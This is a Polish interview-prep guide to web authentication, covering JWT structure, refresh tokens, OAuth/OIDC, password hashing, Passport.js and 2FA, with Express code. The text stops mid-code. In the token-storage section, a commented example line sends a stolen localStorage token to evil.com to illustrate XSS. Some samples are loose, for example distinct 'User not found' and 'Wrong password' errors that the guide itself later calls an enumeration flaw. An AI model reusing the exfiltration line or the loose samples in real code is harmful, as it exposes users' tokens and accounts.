Authentication i JWT - Pytania Rekrutacyjne i Kompletny Przewodnik 2025

Authentication to jeden z najważniejszych tematów na rozmowach backend. Każda aplikacja potrzebuje systemu logowania, a błędy w implementacji prowadzą do poważnych luk bezpieczeństwa. Rekruterzy sprawdzają nie tylko znajomość JWT, ale rozumienie całego flow - od hashowania haseł, przez tokeny, po OAuth 2.0.

Odpowiedź w 30 sekund

Jak działa JWT authentication?

JWT (JSON Web Token) to samodzielny token zawierający dane użytkownika i podpis kryptograficzny. Składa się z trzech części: Header (algorytm), Payload (dane/claims), Signature (podpis). Po zalogowaniu serwer generuje JWT, klient wysyła go w nagłówku Authorization: Bearer <token>. Serwer weryfikuje podpis - jeśli prawidłowy, ufa danym w payload bez odpytywania bazy.

Odpowiedź w 2 minuty

Authentication to proces weryfikacji tożsamości użytkownika - "kim jesteś?". Authorization to sprawdzenie uprawnień - "co możesz robić?". Najpierw authentication (login), potem authorization (sprawdzenie roli/permissions).

Tradycyjne podejście to sesje - serwer przechowuje stan zalogowania w pamięci lub bazie, klient dostaje session ID w cookie. Problem: trudne do skalowania (sticky sessions lub shared session store), każdy request wymaga sprawdzenia sesji w bazie.

JWT rozwiązuje problem stanu - token jest samodzielny, zawiera wszystkie potrzebne informacje. Serwer nie musi nic przechowywać, wystarczy zweryfikować podpis. Token składa się z trzech części base64url encoded, oddzielonych kropkami:

Header określa algorytm podpisu (np. HS256, RS256). Payload zawiera claims - standardowe (iss, sub, exp, iat) i custom (userId, role). Signature to hash z header + payload + secret - gwarantuje że token nie został zmodyfikowany.

Ważne: JWT nie jest zaszyfrowany, tylko podpisany. Każdy może odczytać payload (base64 decode). Nie umieszczaj tam wrażliwych danych. Jeśli potrzebujesz szyfrowania, użyj JWE (JSON Web Encryption).

Typowy flow: użytkownik loguje się (email/hasło), serwer weryfikuje credentials i generuje dwa tokeny - access token (krótki, 15min) i refresh token (długi, 7 dni). Access token jest wysyłany z każdym requestem. Gdy wygaśnie, klient używa refresh tokena do pobrania nowego access tokena bez ponownego logowania.

// Generowanie JWT
import jwt from 'jsonwebtoken';

const accessToken = jwt.sign(
  { userId: user.id, role: user.role },
  process.env.JWT_SECRET,
  { expiresIn: '15m' }
);

const refreshToken = jwt.sign(
  { userId: user.id, tokenVersion: user.tokenVersion },
  process.env.REFRESH_SECRET,
  { expiresIn: '7d' }
);

// Weryfikacja
try {
  const decoded = jwt.verify(token, process.env.JWT_SECRET);
  req.user = decoded;
} catch (err) {
  if (err.name === 'TokenExpiredError') {
    return res.status(401).json({ error: 'Token expired' });
  }
  return res.status(401).json({ error: 'Invalid token' });
}

Podstawy Authentication

Czym różni się authentication od authorization?

Authentication (uwierzytelnianie) - weryfikacja tożsamości, "kim jesteś?":

  • Login/hasło
  • Token (JWT, API key)
  • Biometria (odcisk palca, face ID)
  • Certyfikat (mTLS)

Authorization (autoryzacja) - sprawdzenie uprawnień, "co możesz robić?":

  • Role (admin, user, guest)
  • Permissions (read, write, delete)
  • Policies (ABAC, RBAC)
  • Scopes (OAuth)

Kolejność: najpierw authentication, potem authorization. Nie możesz sprawdzić uprawnień kogoś, kogo nie zidentyfikowałeś.

// Authentication middleware
const authenticate = (req, res, next) => {
  const token = req.headers.authorization?.split(' ')[1];
  if (!token) return res.status(401).json({ error: 'No token' });

  try {
    req.user = jwt.verify(token, SECRET);
    next();
  } catch {
    res.status(401).json({ error: 'Invalid token' });
  }
};

// Authorization middleware
const authorize = (...roles) => (req, res, next) => {
  if (!roles.includes(req.user.role)) {
    return res.status(403).json({ error: 'Forbidden' });
  }
  next();
};

// Użycie
app.delete('/users/:id', authenticate, authorize('admin'), deleteUser);

Session-based vs Token-based authentication - jakie różnice?

Session-based:

1. Klient → login credentials → Serwer
2. Serwer tworzy sesję w pamięci/DB, zwraca session ID w cookie
3. Klient wysyła cookie z każdym requestem
4. Serwer sprawdza sesję w store, zwraca dane

Zalety:

  • Łatwe unieważnienie (usuń sesję)
  • Mniejszy payload (tylko ID)
  • Serwer ma pełną kontrolę

Wady:

  • Stateful - wymaga session store
  • Trudniejsze skalowanie (sticky sessions lub Redis)
  • Problemy z CORS i mobile

Token-based (JWT):

1. Klient → login credentials → Serwer
2. Serwer generuje JWT z danymi użytkownika
3. Klient przechowuje token, wysyła w Authorization header
4. Serwer weryfikuje podpis, ufa danym w tokenie

Zalety:

  • Stateless - łatwe skalowanie
  • Działa cross-domain
  • Dobre dla mobile i SPA

Wady:

  • Trudne unieważnienie (token ważny do exp)
  • Większy payload
  • Ryzyko przy wycieku tokena

Co to jest stateless authentication i dlaczego jest ważne?

Stateless authentication oznacza że serwer nie przechowuje stanu sesji - wszystkie potrzebne informacje są w tokenie. Każdy request jest niezależny.

Korzyści:

  • Horizontal scaling - dowolny serwer może obsłużyć request
  • Brak session store - nie potrzeba Redis/bazy do sesji
  • Microservices friendly - każdy serwis weryfikuje token niezależnie
  • CDN/Edge - można weryfikować tokeny bliżej użytkownika
                    Load Balancer
                   /      |      \
              Server A  Server B  Server C
                   (każdy może obsłużyć request - brak shared state)

Kompromis: trudniejsze unieważnienie tokenów. Rozwiązania:

  • Krótki czas życia access tokena (15min)
  • Blacklist dla krytycznych przypadków
  • Token versioning w refresh tokenie

JWT Deep Dive

Z czego składa się JWT?

JWT to trzy części oddzielone kropkami: header.payload.signature

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4iLCJpYXQiOjE1MTYyMzkwMjJ9.
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

Header (base64url encoded JSON):

{
  "alg": "HS256",  // Algorytm podpisu
  "typ": "JWT"     // Typ tokena
}

Payload (base64url encoded JSON):

{
  "sub": "1234567890",    // Subject (user ID)
  "name": "John Doe",     // Custom claim
  "iat": 1516239022,      // Issued At
  "exp": 1516242622,      // Expiration
  "iss": "myapp.com",     // Issuer
  "aud": "myapp-api"      // Audience
}

Signature:

HMACSHA256(
  base64UrlEncode(header) + "." + base64UrlEncode(payload),
  secret
)

Jakie są standardowe claims w JWT?

Registered claims (standardowe, opcjonalne):

  • iss (issuer) - kto wystawił token
  • sub (subject) - o kim jest token (user ID)
  • aud (audience) - dla kogo jest token (API)
  • exp (expiration) - kiedy wygasa (Unix timestamp)
  • nbf (not before) - kiedy zaczyna być ważny
  • iat (issued at) - kiedy został wystawiony
  • jti (JWT ID) - unikalny identyfikator tokena

Public claims - zarejestrowane w IANA JWT Registry (np. email, name)

Private claims - custom, uzgodnione między stronami:

{
  "userId": "abc123",
  "role": "admin",
  "permissions": ["read", "write"],
  "organizationId": "org456"
}

HS256 vs RS256 vs ES256 - jakie różnice?

HS256 (HMAC + SHA256) - symetryczny:

  • Ten sam secret do podpisywania i weryfikacji
  • Szybszy, prostszy
  • Problem: każdy kto weryfikuje, może też tworzyć tokeny
// HS256 - jeden shared secret
const token = jwt.sign(payload, 'my-secret', { algorithm: 'HS256' });
jwt.verify(token, 'my-secret');

RS256 (RSA + SHA256) - asymetryczny:

  • Private key do podpisywania
  • Public key do weryfikacji
  • Wolniejszy, większe klucze (2048+ bit)
  • Idealny gdy różne serwisy weryfikują
// RS256 - para kluczy
const privateKey = fs.readFileSync('private.pem');
const publicKey = fs.readFileSync('public.pem');

const token = jwt.sign(payload, privateKey, { algorithm: 'RS256' });
jwt.verify(token, publicKey);

ES256 (ECDSA + SHA256) - asymetryczny, krótsze klucze:

  • Podobne bezpieczeństwo do RS256 przy mniejszych kluczach
  • Szybszy niż RS256
  • Mniejszy token
Algorytm Typ Długość klucza Użycie
HS256 Symetryczny 256 bit Monolity, jeden serwis
RS256 Asymetryczny 2048+ bit Microservices, OAuth
ES256 Asymetryczny 256 bit Mobile, IoT, performance

Dlaczego JWT nie jest szyfrowany i kiedy to problem?

JWT jest tylko podpisany, nie zaszyfrowany. Każdy może zdekodować payload:

// Dekodowanie bez weryfikacji
const [header, payload, signature] = token.split('.');
const decoded = JSON.parse(atob(payload));
console.log(decoded); // Widoczne wszystkie dane!

Podpis gwarantuje integralność (nikt nie zmodyfikował), nie poufność.

Kiedy to problem:

  • Wrażliwe dane w payload (SSN, numery kart)
  • Token przesyłany przez niezaufane kanały

Rozwiązania:

  1. Nie umieszczaj wrażliwych danych - tylko ID, role
  2. Używaj HTTPS - szyfrowanie w transporcie
  3. JWE (JSON Web Encryption) - zaszyfrowany token
// JWE - szyfrowany token
import * as jose from 'jose';

const secret = new TextEncoder().encode('my-32-byte-secret-key-here!!');

// Szyfrowanie
const jwe = await new jose.CompactEncrypt(
  new TextEncoder().encode(JSON.stringify({ sensitive: 'data' }))
)
  .setProtectedHeader({ alg: 'dir', enc: 'A256GCM' })
  .encrypt(secret);

// Deszyfrowanie
const { plaintext } = await jose.compactDecrypt(jwe, secret);

Access token vs Refresh token - jak działają razem?

Access token:

  • Krótki czas życia (15min - 1h)
  • Zawiera uprawnienia użytkownika
  • Wysyłany z każdym API request
  • Przechowywany w pamięci (JavaScript variable)

Refresh token:

  • Długi czas życia (7-30 dni)
  • Służy tylko do odświeżenia access tokena
  • Przechowywany bezpiecznie (httpOnly cookie)
  • Może być rotowany przy każdym użyciu
Flow:
1. Login → access token + refresh token
2. API requests z access tokenem
3. Access token wygasa (401)
4. Klient wysyła refresh token do /refresh
5. Serwer zwraca nowy access token
6. Kontynuacja bez ponownego logowania
// Endpoint refresh
app.post('/auth/refresh', async (req, res) => {
  const refreshToken = req.cookies.refreshToken;

  try {
    const decoded = jwt.verify(refreshToken, REFRESH_SECRET);

    // Sprawdź token version (pozwala na unieważnienie)
    const user = await User.findById(decoded.userId);
    if (user.tokenVersion !== decoded.tokenVersion) {
      return res.status(401).json({ error: 'Token revoked' });
    }

    // Nowy access token
    const accessToken = jwt.sign(
      { userId: user.id, role: user.role },
      ACCESS_SECRET,
      { expiresIn: '15m' }
    );

    // Opcjonalnie: rotacja refresh tokena
    const newRefreshToken = jwt.sign(
      { userId: user.id, tokenVersion: user.tokenVersion },
      REFRESH_SECRET,
      { expiresIn: '7d' }
    );

    res.cookie('refreshToken', newRefreshToken, {
      httpOnly: true,
      secure: true,
      sameSite: 'strict',
      maxAge: 7 * 24 * 60 * 60 * 1000
    });

    res.json({ accessToken });
  } catch (err) {
    res.status(401).json({ error: 'Invalid refresh token' });
  }
});

Jak unieważnić JWT przed wygaśnięciem?

JWT jest z natury stateless - nie można go "cofnąć". Strategie:

1. Krótki czas życia + refresh token:

// Access token 15min - nawet jeśli wycieknie, szybko wygaśnie
const accessToken = jwt.sign(payload, SECRET, { expiresIn: '15m' });

2. Token versioning:

// W bazie: user.tokenVersion = 1
// W tokenie: { tokenVersion: 1 }
// Przy logout: user.tokenVersion++
// Przy weryfikacji: sprawdź czy wersje się zgadzają

const decoded = jwt.verify(token, SECRET);
const user = await User.findById(decoded.userId);
if (user.tokenVersion !== decoded.tokenVersion) {
  throw new Error('Token revoked');
}

3. Blacklist (dla krytycznych przypadków):

// Redis z TTL = pozostały czas ważności tokena
await redis.setex(`blacklist:${token}`, remainingTTL, '1');

// Middleware sprawdza blacklistę
const isBlacklisted = await redis.get(`blacklist:${token}`);
if (isBlacklisted) {
  return res.status(401).json({ error: 'Token revoked' });
}

4. Whitelist (najbezpieczniejsze, ale stateful):

// Przechowuj aktywne tokeny w Redis
// Przy logout usuń token
// Każdy request sprawdza czy token jest na liście

Przechowywanie Tokenów

localStorage/sessionStorage:

  • ✅ Prosty dostęp z JavaScript
  • ✅ Działa cross-domain (CORS)
  • Podatny na XSS - JavaScript może odczytać
  • ❌ Brak automatycznego wysyłania
// localStorage - NIEBEZPIECZNE dla access tokena
localStorage.setItem('token', accessToken);

// Atak XSS może wykraść token:
// fetch('https://evil.com/steal?token=' + localStorage.getItem('token'))

HttpOnly Cookie:

  • ✅ JavaScript nie ma dostępu (ochrona przed XSS)
  • ✅ Automatycznie wysyłane z requestami
  • ❌ Podatny na CSRF (wymaga dodatkowej ochrony)
  • ❌ Same-origin lub explicit CORS
// HttpOnly cookie - bezpieczniejsze
res.cookie('token', refreshToken, {
  httpOnly: true,   // JavaScript nie może odczytać
  secure: true,     // Tylko HTTPS
  sameSite: 'strict', // Ochrona przed CSRF
  maxAge: 7 * 24 * 60 * 60 * 1000
});

Jaka jest najlepsza praktyka przechowywania tokenów?

Rekomendowany pattern:

  1. Access token w pamięci (JavaScript variable):

    • Nie przetrwa odświeżenia strony
    • Najbezpieczniejsze (nie w storage, nie w cookie)
    • Przy odświeżeniu strony - użyj refresh tokena
  2. Refresh token w httpOnly cookie:

    • JavaScript nie ma dostępu
    • SameSite=Strict blokuje CSRF
    • Używany tylko do endpoint /refresh
// Klient
class AuthService {
  accessToken = null; // W pamięci

  async login(email, password) {
    const res = await fetch('/auth/login', {
      method: 'POST',
      credentials: 'include', // Cookie
      body: JSON.stringify({ email, password })
    });
    const { accessToken } = await res.json();
    this.accessToken = accessToken;
  }

  async refreshToken() {
    const res = await fetch('/auth/refresh', {
      method: 'POST',
      credentials: 'include' // Wyśle refresh cookie
    });
    const { accessToken } = await res.json();
    this.accessToken = accessToken;
  }

  async api(url, options = {}) {
    const res = await fetch(url, {
      ...options,
      headers: {
        ...options.headers,
        Authorization: `Bearer ${this.accessToken}`
      }
    });

    if (res.status === 401) {
      await this.refreshToken();
      return this.api(url, options); // Retry
    }

    return res;
  }
}

Jak chronić przed XSS i CSRF przy tokenach?

XSS (Cross-Site Scripting): Złośliwy skrypt w aplikacji kradnie tokeny.

Ochrona:

  • HttpOnly cookies (JavaScript nie ma dostępu)
  • Content Security Policy (CSP)
  • Sanityzacja inputów
  • Nie używaj innerHTML, eval
// CSP header
res.setHeader('Content-Security-Policy',
  "default-src 'self'; script-src 'self'"
);

CSRF (Cross-Site Request Forgery): Zewnętrzna strona wykonuje request do API używając cookie użytkownika.

Ochrona:

  • SameSite cookie (Strict lub Lax)
  • CSRF token
  • Sprawdzanie Origin/Referer header
// Cookie z SameSite
res.cookie('refreshToken', token, {
  httpOnly: true,
  secure: true,
  sameSite: 'strict' // Nie wyślij cookie z zewnętrznych stron
});

// Dodatkowo: CSRF token dla mutujących operacji
app.post('/api/transfer', csrfProtection, (req, res) => {
  // CSRF token musi być w request body/header
});

OAuth 2.0 i OpenID Connect

Czym jest OAuth 2.0 i jakie są jego flows?

OAuth 2.0 to framework autoryzacji - pozwala aplikacji uzyskać ograniczony dostęp do zasobów użytkownika na innym serwisie, bez udostępniania hasła.

Role:

  • Resource Owner - użytkownik
  • Client - aplikacja żądająca dostępu
  • Authorization Server - wydaje tokeny (Google, GitHub)
  • Resource Server - API z zasobami

Flows:

1. Authorization Code (najczęstszy dla web apps):

1. Klient → przekierowanie do Auth Server
2. User loguje się i akceptuje permissions
3. Auth Server → redirect z authorization code
4. Klient → wymiana code na access token (backend)
5. Klient używa access tokena do API

2. Authorization Code + PKCE (dla SPA, mobile):

// 1. Generuj code_verifier i code_challenge
const codeVerifier = generateRandomString(128);
const codeChallenge = base64url(sha256(codeVerifier));

// 2. Authorization request z challenge
const authUrl = `https://auth.example.com/authorize?
  response_type=code&
  client_id=${clientId}&
  redirect_uri=${redirectUri}&
  code_challenge=${codeChallenge}&
  code_challenge_method=S256`;

// 3. Exchange code z verifier
const tokenResponse = await fetch('https://auth.example.com/token', {
  method: 'POST',
  body: new URLSearchParams({
    grant_type: 'authorization_code',
    code: authorizationCode,
    code_verifier: codeVerifier,
    redirect_uri: redirectUri,
    client_id: clientId
  })
});

3. Client Credentials (machine-to-machine):

// Bez użytkownika - serwis do serwisu
const tokenResponse = await fetch('https://auth.example.com/token', {
  method: 'POST',
  headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
  body: new URLSearchParams({
    grant_type: 'client_credentials',
    client_id: 'my-service',
    client_secret: 'service-secret',
    scope: 'read:users'
  })
});

4. Implicit (deprecated) - token zwracany bezpośrednio w URL, niebezpieczny

Czym jest OpenID Connect i jak rozszerza OAuth?

OpenID Connect (OIDC) to warstwa identity na OAuth 2.0. OAuth mówi "co możesz robić", OIDC mówi "kim jesteś".

Dodaje:

  • ID Token - JWT z informacjami o użytkowniku
  • /userinfo endpoint - szczegóły profilu
  • Standardowe claims - name, email, picture
  • Standardowe scopes - openid, profile, email
// OAuth 2.0 scope
scope: 'read:repos write:repos'

// OIDC scope
scope: 'openid profile email'

// ID Token claims
{
  "iss": "https://accounts.google.com",
  "sub": "110169484474386276334",  // Unique user ID
  "aud": "your-client-id",
  "exp": 1516239022,
  "iat": 1516235422,
  "name": "John Doe",
  "email": "john@example.com",
  "picture": "https://..."
}

Jak zaimplementować "Login with Google/GitHub"?

// Passport.js z Google OAuth
import passport from 'passport';
import { Strategy as GoogleStrategy } from 'passport-google-oauth20';

passport.use(new GoogleStrategy({
    clientID: process.env.GOOGLE_CLIENT_ID,
    clientSecret: process.env.GOOGLE_CLIENT_SECRET,
    callbackURL: '/auth/google/callback'
  },
  async (accessToken, refreshToken, profile, done) => {
    // Znajdź lub utwórz użytkownika
    let user = await User.findOne({ googleId: profile.id });

    if (!user) {
      user = await User.create({
        googleId: profile.id,
        email: profile.emails[0].value,
        name: profile.displayName,
        avatar: profile.photos[0]?.value
      });
    }

    return done(null, user);
  }
));

// Routes
app.get('/auth/google',
  passport.authenticate('google', { scope: ['profile', 'email'] })
);

app.get('/auth/google/callback',
  passport.authenticate('google', { session: false }),
  (req, res) => {
    // Generuj własne tokeny
    const accessToken = generateAccessToken(req.user);
    const refreshToken = generateRefreshToken(req.user);

    res.cookie('refreshToken', refreshToken, { httpOnly: true, secure: true });
    res.redirect(`/login-success?token=${accessToken}`);
  }
);

Access token vs ID token w OAuth/OIDC - jakie różnice?

Access Token:

  • Do autoryzacji API requests
  • Może być JWT lub opaque string
  • Zawiera scopes/permissions
  • Wysyłany do Resource Server
  • Nie powinien być parsowany przez klienta

ID Token:

  • Do uwierzytelnienia użytkownika
  • Zawsze JWT
  • Zawiera informacje o użytkowniku
  • Tylko dla klienta (nie wysyłany do API)
  • Parsowany i walidowany przez klienta
// Po zalogowaniu OIDC
const { access_token, id_token, refresh_token } = tokenResponse;

// ID token - informacje o użytkowniku
const idTokenPayload = jwt.decode(id_token);
console.log(idTokenPayload.email); // kim jest user

// Access token - do API calls
const response = await fetch('/api/data', {
  headers: { Authorization: `Bearer ${access_token}` }
});

Hashowanie Haseł

Dlaczego nie można przechowywać haseł w plain text?

Jeśli baza wycieknie, atakujący ma dostęp do wszystkich haseł. Użytkownicy często używają tego samego hasła na wielu stronach.

Ataki na hasła:

  • Data breach / SQL injection
  • Backup theft
  • Insider threat
  • Log files

Hash ≠ Encryption:

  • Encryption jest odwracalna (decrypt)
  • Hash jest jednokierunkowy (nie da się odzyskać)
// ŹLE - plain text
await db.insert({ email, password: 'secret123' });

// ŹLE - encryption (można odszyfrować)
await db.insert({ email, password: encrypt('secret123', key) });

// DOBRZE - hash (nie można odwrócić)
await db.insert({ email, password: await bcrypt.hash('secret123', 12) });

Czym różni się bcrypt od MD5/SHA?

MD5/SHA (fast hashes):

  • Zaprojektowane do szybkości
  • Brak wbudowanego salt
  • Podatne na rainbow tables
  • GPU może sprawdzić miliardy hashy/sekundę

bcrypt/Argon2 (password hashes):

  • Celowo wolne (adaptive cost)
  • Wbudowany salt
  • Odporne na rainbow tables
  • Trudne do równoległego ataku
// MD5 - ZŁE dla haseł
import crypto from 'crypto';
const hash = crypto.createHash('md5').update(password).digest('hex');
// Atakujący może sprawdzić ~10 miliardów haseł/sekundę

// bcrypt - DOBRE dla haseł
import bcrypt from 'bcrypt';
const hash = await bcrypt.hash(password, 12); // cost factor 12
// Atakujący może sprawdzić ~10 haseł/sekundę

Jak działa bcrypt i co to jest cost factor?

Bcrypt generuje hash w następujący sposób:

  1. Generuje losowy salt (16 bajtów)
  2. Łączy salt z hasłem
  3. Wykonuje 2^cost iteracji algorytmu Blowfish
  4. Wynikowy hash zawiera: algorytm, cost, salt, hash
$2b$12$R9h/cIPz0gi.URNNX3kh2OPST9/PgBkqquzi.Ss7KIUgO2t0jWMUW
 │  │  │                         │
 │  │  └─ Salt (22 chars)        └─ Hash (31 chars)
 │  └─ Cost factor (2^12 = 4096 iterations)
 └─ Algorithm version

Cost factor:

  • Określa ile iteracji (2^cost)
  • Wyższy = wolniejszy = bezpieczniejszy
  • Typowo 10-12 dla web apps
  • Zwiększaj gdy hardware przyspiesza
import bcrypt from 'bcrypt';

// Hashowanie
const saltRounds = 12; // 2^12 = 4096 iterations
const hash = await bcrypt.hash('myPassword', saltRounds);

// Weryfikacja
const isValid = await bcrypt.compare('myPassword', hash);

// Benchmark różnych cost factors
for (let cost = 8; cost <= 14; cost++) {
  const start = Date.now();
  await bcrypt.hash('test', cost);
  console.log(`Cost ${cost}: ${Date.now() - start}ms`);
}
// Cost 8: ~40ms
// Cost 10: ~150ms
// Cost 12: ~600ms
// Cost 14: ~2400ms

bcrypt vs Argon2 - co wybrać?

bcrypt:

  • Sprawdzony od 1999 roku
  • Szeroko wspierany
  • Hardcoded memory usage
  • Wystarczający dla większości aplikacji

Argon2 (winner Password Hashing Competition 2015):

  • Nowoczesny, rekomendowany przez OWASP
  • Konfigurowalny: czas, pamięć, paralelizm
  • Lepsze zabezpieczenie przed GPU attacks
  • Trzy warianty: Argon2d, Argon2i, Argon2id (recommended)
import argon2 from 'argon2';

// Hashowanie z Argon2id
const hash = await argon2.hash('myPassword', {
  type: argon2.argon2id,    // Wariant (id = hybrid)
  memoryCost: 65536,        // 64 MB RAM
  timeCost: 3,              // 3 iteracje
  parallelism: 4            // 4 wątki
});

// Weryfikacja
const isValid = await argon2.verify(hash, 'myPassword');

// Hash format
// $argon2id$v=19$m=65536,t=3,p=4$salt$hash

Rekomendacja:

  • Nowy projekt → Argon2id
  • Istniejący projekt z bcrypt → bcrypt jest OK
  • Migracja: przy następnym loginie użytkownika, rehash do Argon2

Passport.js i Strategie

Czym jest Passport.js i jak działa?

Passport.js to middleware do autentykacji dla Node.js/Express. Obsługuje 500+ strategii (local, OAuth, SAML, etc.).

Koncepcje:

  • Strategy - sposób autentykacji (local, google, jwt)
  • Serialize/Deserialize - sesje (opcjonalne)
  • Middleware - passport.authenticate()
import passport from 'passport';
import { Strategy as LocalStrategy } from 'passport-local';
import { Strategy as JwtStrategy, ExtractJwt } from 'passport-jwt';

// Local Strategy (email/password)
passport.use(new LocalStrategy({
    usernameField: 'email',
    passwordField: 'password'
  },
  async (email, password, done) => {
    try {
      const user = await User.findOne({ email });
      if (!user) {
        return done(null, false, { message: 'User not found' });
      }

      const isValid = await bcrypt.compare(password, user.password);
      if (!isValid) {
        return done(null, false, { message: 'Wrong password' });
      }

      return done(null, user);
    } catch (err) {
      return done(err);
    }
  }
));

// JWT Strategy
passport.use(new JwtStrategy({
    jwtFromRequest: ExtractJwt.fromAuthHeaderAsBearerToken(),
    secretOrKey: process.env.JWT_SECRET
  },
  async (payload, done) => {
    try {
      const user = await User.findById(payload.userId);
      if (!user) {
        return done(null, false);
      }
      return done(null, user);
    } catch (err) {
      return done(err);
    }
  }
));

// Użycie w routes
app.post('/login',
  passport.authenticate('local', { session: false }),
  (req, res) => {
    const token = jwt.sign({ userId: req.user.id }, SECRET);
    res.json({ token });
  }
);

app.get('/protected',
  passport.authenticate('jwt', { session: false }),
  (req, res) => {
    res.json({ user: req.user });
  }
);

Jak działa serialize/deserialize w Passport?

Serialize i deserialize są potrzebne tylko przy session-based auth:

// Serialize - co zapisać w sesji (zwykle tylko ID)
passport.serializeUser((user, done) => {
  done(null, user.id);
});

// Deserialize - odtwórz użytkownika z ID
passport.deserializeUser(async (id, done) => {
  try {
    const user = await User.findById(id);
    done(null, user);
  } catch (err) {
    done(err);
  }
});

// Session setup
app.use(session({
  secret: 'session-secret',
  resave: false,
  saveUninitialized: false
}));
app.use(passport.initialize());
app.use(passport.session()); // Tylko dla session-based

Dla JWT auth (stateless) nie potrzebujesz serialize/deserialize - używasz { session: false }.


MFA i Bezpieczeństwo

Jak zaimplementować 2FA z TOTP?

TOTP (Time-based One-Time Password) - algorytm generujący kody które zmieniają się co 30 sekund, bazując na shared secret i czasie.

import speakeasy from 'speakeasy';
import QRCode from 'qrcode';

// 1. Generuj secret dla użytkownika
app.post('/2fa/setup', authenticate, async (req, res) => {
  const secret = speakeasy.generateSecret({
    name: `MyApp:${req.user.email}`,
    issuer: 'MyApp'
  });

  // Zapisz secret (encrypted!) w bazie
  await User.findByIdAndUpdate(req.user.id, {
    twoFactorSecret: encrypt(secret.base32),
    twoFactorEnabled: false // Dopiero po weryfikacji
  });

  // QR code dla Google Authenticator
  const qrCode = await QRCode.toDataURL(secret.otpauth_url);

  res.json({ qrCode, secret: secret.base32 });
});

// 2. Weryfikuj i włącz 2FA
app.post('/2fa/verify', authenticate, async (req, res) => {
  const { token } = req.body;
  const user = await User.findById(req.user.id);

  const isValid = speakeasy.totp.verify({
    secret: decrypt(user.twoFactorSecret),
    encoding: 'base32',
    token,
    window: 1 // ±30 sekund
  });

  if (!isValid) {
    return res.status(400).json({ error: 'Invalid code' });
  }

  user.twoFactorEnabled = true;
  await user.save();

  // Generuj backup codes
  const backupCodes = generateBackupCodes(10);
  user.backupCodes = backupCodes.map(code => bcrypt.hashSync(code, 10));
  await user.save();

  res.json({ success: true, backupCodes });
});

// 3. Login z 2FA
app.post('/login', async (req, res) => {
  const { email, password, totpToken } = req.body;
  const user = await User.findOne({ email });

  // Sprawdź hasło
  if (!await bcrypt.compare(password, user.password)) {
    return res.status(401).json({ error: 'Invalid credentials' });
  }

  // Sprawdź 2FA jeśli włączone
  if (user.twoFactorEnabled) {
    if (!totpToken) {
      return res.status(200).json({ requires2FA: true });
    }

    const isValid = speakeasy.totp.verify({
      secret: decrypt(user.twoFactorSecret),
      encoding: 'base32',
      token: totpToken
    });

    if (!isValid) {
      return res.status(401).json({ error: 'Invalid 2FA code' });
    }
  }

  // Sukces - generuj tokeny
  const accessToken = generateAccessToken(user);
  res.json({ accessToken });
});

Jakie są najczęstsze błędy w implementacji auth?

1. Timing attacks na porównanie haseł:

// ŹLE - różny czas dla różnych pozycji błędu
if (password === storedPassword) { ... }

// DOBRZE - stały czas
import { timingSafeEqual } from 'crypto';
const isEqual = timingSafeEqual(
  Buffer.from(password),
  Buffer.from(storedPassword)
);

// NAJLEPIEJ - bcrypt.compare robi to automatycznie

2. Brak rate limiting na login:

// Brute force protection
import rateLimit from 'express-rate-limit';

const loginLimiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 minut
  max: 5, // 5 prób
  message: 'Too many login attempts'
});

app.post('/login', loginLimiter, loginHandler);

3. User enumeration:

// ŹLE - różne odpowiedzi
if (!user) return res.json({ error: 'User not found' });
if (!validPassword) return res.json({ error: 'Wrong password' });

// DOBRZE - ta sama odpowiedź
return res.status(401).json({ error: 'Invalid credentials' });

4. Słabe hasła:

// Walidacja siły hasła
import zxcvbn from 'zxcvbn';

const result = zxcvbn(password);
if (result.score < 3) {
  return res.status(400).json({
    error: 'Password too weak',
    suggestions: result.feedback.suggestions
  });
}

5. JWT secret w kodzie:

// ŹLE
const token = jwt.sign(payload, 'my-super-secret');

// DOBRZE - z env, długi, losowy
const token = jwt.sign(payload, process.env.JWT_SECRET);
// JWT_SECRET=min 256 bits (32 bytes) random

Jak chronić przed brute force i credential stuffing?

import rateLimit from 'express-rate-limit';
import RedisStore from 'rate-limit-redis';

// 1. Rate limiting per IP
const ipLimiter = rateLimit({
  store: new RedisStore({ client: redis }),
  windowMs: 60 * 1000, // 1 minuta
  max: 10 // 10 requestów
});

// 2. Rate limiting per account
const accountLimiter = async (req, res, next) => {
  const { email } = req.body;
  const key = `login:${email}`;

  const attempts = await redis.incr(key);
  if (attempts === 1) {
    await redis.expire(key, 900); // 15 minut
  }

  if (attempts > 5) {
    return res.status(429).json({
      error: 'Account temporarily locked',
      retryAfter: await redis.ttl(key)
    });
  }

  next();
};

// 3. Po udanym loginie - reset licznika
const loginSuccess = async (email) => {
  await redis.del(`login:${email}`);
};

// 4. Progressive delays
const getDelay = (attempts) => {
  const delays = [0, 1000, 2000, 5000, 10000, 30000];
  return delays[Math.min(attempts, delays.length - 1)];
};

// 5. CAPTCHA po X próbach
if (attempts > 3) {
  const captchaValid = await verifyCaptcha(req.body.captchaToken);
  if (!captchaValid) {
    return res.status(400).json({ requiresCaptcha: true });
  }
}

// 6. Device fingerprinting / anomaly detection
const isNewDevice = await checkDeviceFingerprint(req.user, req);
if (isNewDevice) {
  await sendVerificationEmail(req.user);
  return res.json({ requiresDeviceVerification: true });
}

Praktyczne Implementacje

Kompletny przykład auth systemu z Express

import express from 'express';
import bcrypt from 'bcrypt';
import jwt from 'jsonwebtoken';
import cookieParser from 'cookie-parser';

const app = express();
app.use(express.json());
app.use(cookieParser());

const ACCESS_SECRET = process.env.ACCESS_SECRET;
const REFRESH_SECRET = process.env.REFRESH_SECRET;

// Middleware autentykacji
const authenticate = (req, res, next) => {
  const authHeader = req.headers.authorization;
  const token = authHeader?.split(' ')[1];

  if (!token) {
    return res.status(401).json({ error: 'No token provided' });
  }

  try {
    const decoded = jwt.verify(token, ACCESS_SECRET);
    req.user = decoded;
    next();
  } catch (err) {
    if (err.name === 'TokenExpiredError') {
      return res.status(401).json({ error: 'Token expired', code: 'TOKEN_EXPIRED' });
    }
    return res.status(401).json({ error: 'Invalid token' });
  }
};

// Middleware autoryzacji
const authorize = (...roles) => (req, res, next) => {
  if (!roles.includes(req.user.role)) {
    return res.status(403).json({ error: 'Insufficient permissions' });
  }
  next();
};

// Rejestracja
app.post('/auth/register', async (req, res) => {
  const { email, password, name } = req.body;

  // Walidacja
  if (!email || !password || password.length < 8) {
